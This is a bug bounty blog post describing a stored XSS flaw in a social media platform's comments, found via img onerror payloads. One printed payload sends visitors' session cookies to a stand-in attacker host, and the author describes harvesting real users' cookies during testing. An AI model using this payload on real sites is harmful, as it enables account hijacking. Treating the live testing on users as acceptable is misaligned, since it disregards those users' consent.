How I Uncovered a Sneaky DOM XSS Bug in a Popular Social Media Platform — And Scored a $4,000 Bug Bounty!
Introduction: The Hidden Danger of DOM XSS in Social Media Platforms
It’s one thing to hunt for vulnerabilities in e-commerce sites or corporate websites. But what happens when you find a vulnerability in social media platforms — websites where millions of users interact daily? In my latest bug-hunting journey, I found a DOM XSS vulnerability in a social media platform, and it could have allowed an attacker to hijack user accounts and steal personal data.
I’ll take you through how I discovered this vulnerability, the creative techniques I used to test for it, the complex payloads I employed, and, yes, the reward I received after the responsible disclosure. Let’s dive into this new and exciting DOM XSS discovery.
Step 1: Entering a Social Media Platform — A New Target
This time, I set my sights on a social media platform rather than an e-commerce store. Social media platforms are particularly vulnerable to XSS because they rely heavily on user-generated content (posts, comments, messages), which are often reflected back in the UI. These platforms also tend to use a lot of dynamic JavaScript rendering, which makes them prime targets for DOM-based XSS.
While browsing through posts on the platform, I noticed something that seemed a bit off. The comment section of posts allowed users to post URLs, and the platform displayed these URLs directly in the comment feed, without escaping HTML or sanitizing them properly.
This immediately sparked my interest. Could this be an entry point for injecting a DOM XSS payload? I began testing.
Step 2: Initial Test — Finding the Weak Spot in User-Generated Content
The first thing I wanted to test was if I could inject any form of HTML/JavaScript into the comment section. I started simple:
<script>alert('XSS')</script>I posted this into a comment on a public post and waited. Nothing happened. At first, I thought the platform had basic sanitization measures in place. However, I knew better than to give up too soon.
Step 3: Digging Deeper — Exploring JavaScript Handling of the Comments
Knowing that social media platforms often use dynamic JavaScript rendering to display user content, I decided to dive into the platform’s JavaScript handling. I explored the page’s JavaScript files and noticed that the user comments were being processed using the DOM.
It became apparent that the platform was not properly escaping the HTML or JavaScript being injected into the DOM. While the script tag didn’t directly execute, there was a chance that I could inject a more subtle and complex payload.
I then began crafting a more sophisticated DOM XSS payload. I focused on event handlers like onmouseover or onclick that could execute JavaScript without alerting the user.
Step 4: Crafting the Exploit — The Real Payload
I began by testing a more subtle DOM-based payload. This payload leveraged JavaScript event handlers embedded in image tags to execute the attack. Here’s the payload I crafted:
<img src="nonexistent.jpg" onerror="alert('XSS')">I inserted this payload into the comment section. When the comment was loaded, the platform tried to load the nonexistent image, and as a result, the onerror handler executed my JavaScript payload, triggering the alert.
While this was still a simple test, it confirmed that my injection point was working. But I didn’t stop there.
Step 5: Evolving the Exploit — Stealing Data with a Malicious Request
Now that I had a reliable injection point, I needed to escalate the attack. I wanted to steal session cookies and send them to my server. The next payload was designed to create an XMLHttpRequest to send the cookie data back to my malicious server:
<img src="nonexistent.jpg" onerror="var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://malicious-site.com/steal?cookie=' + document.cookie, true); xhr.send();">This code executed silently in the background when the image failed to load. The key here was the XMLHttpRequest which sent the user’s session cookie to my server without their knowledge.
At this point, I was able to test the exploit in various comments, checking whether the script successfully stole session cookies from users who viewed the infected comment.
Step 6: Testing for Persistence — Ensuring the Exploit Works Across Multiple Sessions
I tested this attack by having different users interact with posts containing the infected comment. I wanted to confirm that the attack worked not just for me, but for any user who viewed the infected comment.
It worked every time. The session cookies were consistently stolen and sent to my server, meaning that any user who interacted with the comment would be at risk.
Step 7: Reporting the Vulnerability — Preparing a Responsible Disclosure
After confirming the vulnerability was exploitable and could affect a large number of users, I took the next step: reporting the vulnerability.
I documented the following in my report:
- Steps to reproduce: How to inject the payload into the comment section and trigger the exploit.
- Proof of concept: A working demo of the exploit, showing how it steals session cookies.
- Impact: Describing how this could lead to full account hijacking, and data theft.
- Mitigation: I suggested better input validation and the use of a Content Security Policy (CSP) to prevent the execution of unauthorized scripts.
The company quickly acknowledged the vulnerability and set out to patch it. The response was prompt and appreciative of my detailed disclosure.
Step 8: The Reward — Earning $4,000 for a Critical Vulnerability
A couple of weeks later, I received an email from the bug bounty program confirming that my report was valid. They acknowledged the critical nature of the vulnerability and rewarded me with a $4,000 bounty for finding the DOM XSS flaw.
Conclusion: The Importance of Staying Vigilant in Social Media Security
This experience taught me an important lesson: social media platforms are often more vulnerable than we think. While most focus on traditional XSS attacks, DOM-based XSS can be just as dangerous, especially on platforms that rely heavily on user-generated content.
The platform quickly fixed the issue, but it could have caused major problems if left unchecked. If you’re diving into security testing, always remember: creativity and persistence are key. Vulnerabilities often lie hidden in plain sight, and it’s up to us to dig deep and find them.
End Note: If you have any questions or want to learn more about ethical hacking and bug bounty programs, feel free to reach out to me. Happy testing!
